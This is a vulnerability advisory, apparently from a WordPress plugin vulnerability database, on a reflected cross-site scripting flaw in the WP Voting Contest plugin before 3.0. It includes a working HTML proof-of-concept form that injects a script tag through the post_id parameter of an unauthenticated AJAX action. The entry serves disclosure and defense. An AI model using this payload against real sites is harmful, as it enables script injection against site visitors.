WordPress Plugin Vulnerabilities
WP Voting Contest < 3.0 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the post_id parameter before outputting it back in the response via the wpvc_social_share_icons AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting issue
Proof of Concept
<html> <body> <form action="https://example.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="wpvc_social_share_icons" /> <input type="hidden" name="post_id" value='asd"/><script>alert(/XSS/)</script>' /> <input type="submit" value="Submit request" /> </form> </body> </html>
Affects Plugins
References
CVE
YouTube Video
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Brandon James Roldan
Submitter
Brandon James Roldan
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-02-16 (about 2 years ago)
Added
2022-02-16 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)